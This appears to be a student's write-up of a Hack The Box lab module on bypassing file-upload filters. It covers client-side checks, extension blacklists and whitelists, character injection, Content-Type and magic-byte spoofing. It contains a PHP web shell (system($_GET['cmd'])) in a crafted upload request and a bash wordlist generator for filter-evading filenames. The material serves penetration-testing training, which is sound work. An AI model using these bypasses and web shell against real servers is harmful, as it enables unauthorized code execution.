Bypassing Filters
Client-Side Validation
Many web applications only rely on front-end JavaScript code to validate the selected file format before it is uploaded and would not upload it if the file is not in the required format (e.g., not an image).

When we get the file selection dialog, we cannot see our PHP
scripts (or it may be greyed out), as the dialog appears to be limited to image formats only:

We may still select the All Files
option to select our PHP
script anyway, but when we do so, we get an error message saying (Only images are allowed!
), and the Upload
button gets disabled:

As mentioned earlier, to bypass these protections, we can either modify the upload request to the back-end server
, or we can manipulate the front-end code to disable these type validations
.
Back-end Request Modification

The web application appears to be sending a standard HTTP upload request to /upload.php
The two important parts in the request are filename="HTB.png"
and the file content at the end of the request. If we modify the filename
to shell.php
and modify the content to the web shell we used in the previous section; we would be uploading a PHP
web shell instead of an image.

Note: We may also modify the
Content-Type
of the uploaded file, though this should not play an important role at this stage, so we'll keep it unmodified.
Disabling Front-end Validation
To start, we can click [CTRL+SHIFT+C
] to toggle the browser's Page Inspector
, and then click on the profile image, which is where we trigger the file selector for the upload form:

This will highlight the following HTML file input on line 18
:
<input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
The more interesting part is onchange="checkFile(this)"
, which appears to run a JavaScript code whenever we select a file, which appears to be doing the file type validation
function checkFile(File) {
...SNIP...
if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
$('#error_message').text("Only images are allowed!");
File.form.reset();
$("#submit").attr("disabled", true);
...SNIP...
}
}
To do so, we can go back to our inspector, click on the profile image again, double-click on the function name (checkFile
) on line 18
, and delete it:

Tip: You may also do the same to remove
accept=".jpg,.jpeg,.png"
, which should make selecting thePHP
shell easier in the file selection dialog, though this is not mandatory, as mentioned earlier.
PoCs - Questions
Try to bypass the client-side file type validations in the above exercise, then upload a web shell to read /flag.txt (try both bypass methods for better practice)
First I try to upload a basic shell, but it give us an error -->

I make a test.png example and intecept the peticion with burp -->

Now, modifique the peticion and upload a basic php webshell -->


With it, i know that this ws.php will save, but i dont know, who is the direcction to target. Doing a little more research, i found into the source code the route of profile images -->


Blacklist Filters Extensions
There are generally two common forms of validating a file extension on the back-end:
Testing against a
blacklist
of typesTesting against a
whitelist
of types
For example, the following piece of code checks if the uploaded file extension is PHP
and drops the request if it is:
$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');
if (in_array($extension, $blacklist)) {
echo "File type not allowed";
die();
}
Fuzzing Extensions
There are many lists of extensions we can utilize in our fuzzing scan. PayloadsAllTheThings
provides lists of extensions for PHP and .NET web applications. We may also use SecLists
list of common Web Extensions.
We may use any of the above lists for our fuzzing scan. As we are testing a PHP application, we will download and use the above PHP list. Then, from Burp History
, we can locate our last request to /upload.php
, right-click on it, and select Send to Intruder
. From the Positions
tab, we can Clear
any automatically set positions, and then select the .php
extension in filename="HTB.php"
and click the Add
button to add it as a fuzzing position:


We can sort the results by Length
, and we will see that all requests with the Content-Length (193
) passed the extension validation, as they all responded with File successfully uploaded
.
Non-Blacklisted Extensions
Now, we can try uploading a file using any of the allowed extensions
from above, and some of them may allow us to execute PHP code. Not all extensions will work with all web server configurations
, so we may need to try several extensions to get one that successfully executes PHP code.
Let's use the .phtml
extension, which PHP web servers often allow for code execution rights. We can right-click on its request in the Intruder results and select Send to Repeater
.


PoCs - Questions
Try to find an extension that is not blacklisted and can execute PHP code on the web server, and use it to read "/flag.txt"

I try to modificate and input .php extension but it extions is not allowed, try tu fuzz extension until the right one is found -->

Whitelisting Extensions
We see that we get a message saying Only images are allowed
, which may be more common in web apps than seeing a blocked extension type

We can see that all variations of PHP extensions are blocked (e.g. php5
, php7
, phtml
).
The following is an example of a file extension whitelist test:
$fileName = basename($_FILES["uploadFile"]["name"]);
if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
echo "Only images are allowed";
die();
}
Double Extensions
For example, if the .jpg
extension was allowed, we can add it in our uploaded file name and still end our filename with .php
(e.g. shell.jpg.php
), in which case we should be able to pass the whitelist test, while still uploading a PHP script that can execute PHP code.
Exercise: Try to fuzz the upload form with This Wordlist to find what extensions are whitelisted by the upload form.
Let's intercept a normal upload request, and modify the file name to (shell.jpg.php
), and modify its content to that of a web shell:

Reverse Double Extension
For example, the /etc/apache2/mods-enabled/php7.4.conf
for the Apache2
web server may include the following configuration:
<FilesMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
The above configuration is how the web server determines which files to allow PHP code execution. It specifies a whitelist with a regex pattern that matches .phar
, .php
, and .phtml
For example, the file name (shell.php.jpg
) should pass the earlier whitelist test as it ends with (.jpg
), and it would be able to execute PHP code due to the above misconfiguration, as it contains (.php
) in its name.
Exercise: The web application may still utilize a blacklist to deny requests containing
PHP
extensions. Try to fuzz the upload form with the PHP Wordlist to find what extensions are blacklisted by the upload form.

Character Injection
The following are some of the characters we may try injecting:
%20
%0a
%00
%0d0a
/
.\
.
…
:
For example, (shell.php%00.jpg
) works with PHP servers with version 5.X
or earlier, as it causes the PHP web server to end the file name after the (%00
), and store it as (shell.php
), while still passing the whitelist. The same may be used with web applications hosted on a Windows server by injecting a colon (:
) before the allowed file extension (e.g. shell.aspx:.jpg
), which should also write the file as (shell.aspx
)
We can write a small bash script that generates all permutations of the file name, where the above characters would be injected before and after both the PHP
and JPG
extensions, as follows:
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
for ext in '.php' '.phps'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done
PoCs - Questios
The above exercise employs a blacklist and a whitelist test to block unwanted extensions and only allow image extensions. Try to bypass both to upload a PHP script and execute code to read "/flag.txt"
In this case y try with a simple double extensions (jpg.php) but nothing... so, i do it in reverse: (.php.jpg) and error expose, "no valid extension" so, i try with (.phar.jpg)

Type Filters
There are two common methods for validating the file content: Content-Type Header
or File Content
Content-Type

We see that we get a message saying Only images are allowed
. The error message persists, and our file fails to upload even if we try some of the tricks we learned in the previous sections. If we change the file name to shell.jpg.phtml
or shell.php.jpg
, or even if we use shell.jpg
with a web shell content, our upload will fail. As the file extension does not affect the error message, the web application must be testing the file content for type validation. As mentioned earlier, this can be either in the Content-Type Header
or the File Content
.
We may start by fuzzing the Content-Type header with SecLists' Content-Type Wordlist through Burp Intruder
eldeim@htb[/htb]$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt
eldeim@htb[/htb]$ cat web-all-content-types.txt | grep 'image/' > image-content-types.txt
For the sake of simplicity, let's just pick an image type (e.g. image/jpg
), then intercept our upload request and change the Content-Type header to it:

This time we get File successfully uploaded
MIME-Type
This is usually done by inspecting the first few bytes of the file's content, which contain the File Signature or Magic Bytes. For example, if a file starts with (GIF87a
or GIF89a
), this indicates that it is a GIF
image, while a file starting with plaintext is usually considered a Text
file. If we change the first bytes of any file to the GIF magic bytes, its MIME type would be changed to a GIF image, regardless of its remaining content or extension.
Tip: Many other image types have non-printable bytes for their file signatures, while a
GIF
image starts with ASCII printable bytes (as shown above), so it is the easiest to imitate. Furthermore, as the stringGIF8
is common between both GIF signatures, it is usually enough to imitate a GIF image.
Example
eldeim@htb[/htb]$ echo "this is a text file" > text.jpg
eldeim@htb[/htb]$ file text.jpg
text.jpg: ASCII text
As we see, the file's MIME type is ASCII text
, even though its extension is .jpg
. However, if we write GIF8
to the beginning of the file, it will be considered as a GIF
image instead, even though its extension is still .jpg
:
eldeim@htb[/htb]$ echo "GIF8" > text.jpg
eldeim@htb[/htb]$file text.jpg
text.jpg: GIF image data
As we can see, the MIME types are similar to the ones found in the Content-Type headers, but their source is different, as PHP uses the mime_content_type()
Only images are allowed
. Now, let's try to add GIF8
before our PHP code to try to imitate a GIF image while keeping our file extension as .php
, so it would execute PHP code regardless:

This time we get File successfully uploaded
, and our file is successfully uploaded to the server
We can use a combination of the two methods discussed in this section, which may help us bypass some more robust content filters. For example, we can try using an Allowed MIME type with a disallowed Content-Type
, an Allowed MIME/Content-Type with a disallowed extension
, or a Disallowed MIME/Content-Type with an allowed extension
, and so on.
PoCs - Questions
The above server employs Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters to ensure the uploaded file is an image. Try to combine all of the attacks you learned so far to bypass these filters and upload a PHP file and read the flag at "/flag.txt"
First i analice the code of upload and i can see the frontend validation. Delete it -->


onchange = empty & accept = * (all)
Then update a profile image of example, image.jpg and intercept this peticion with burpsuite -->
Without drop the first request! We send the peticion to the repeater:

And now, I modifcate the peticion to look something like this -->

Now, we need to test all casuistries with intruder!!! There are 3 camps -->

For the first camp, the extensions, we need create a personalice diccionary with this script:
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\' '.' '…' ':'; do
for ext in '.php' '.phps' '.phtml' '.phar'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done
We can add more extension, example: php4, etc...
Then, for the second, we need to have the content type diccionary -->
eldeim@htb[/htb]$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt
eldeim@htb[/htb]$ cat web-all-content-types.txt | grep 'image/' > image-content-types.txt
For the end, the three camp, we need contemplate the most popural magics numbers -->
GIF8
GIF87a
GIF89a
ÿØÿà
ÿØÿî
ÿØÿÛ
With it, we can use the Cluster Bomb attack with intruder and configurate all casuistries and attack, important then, configurate into settings > grep-extract a filter -->
-----------------------------353231978911704809013224416258
Content-Disposition: form-data; name="uploadFile"; filename="ws.jpg.phtml%20"
Content-Type: image/jpeg
GIF8
<?php system($_GET['cmd']); ?>
-----------------------------353231978911704809013224416258--
Last updated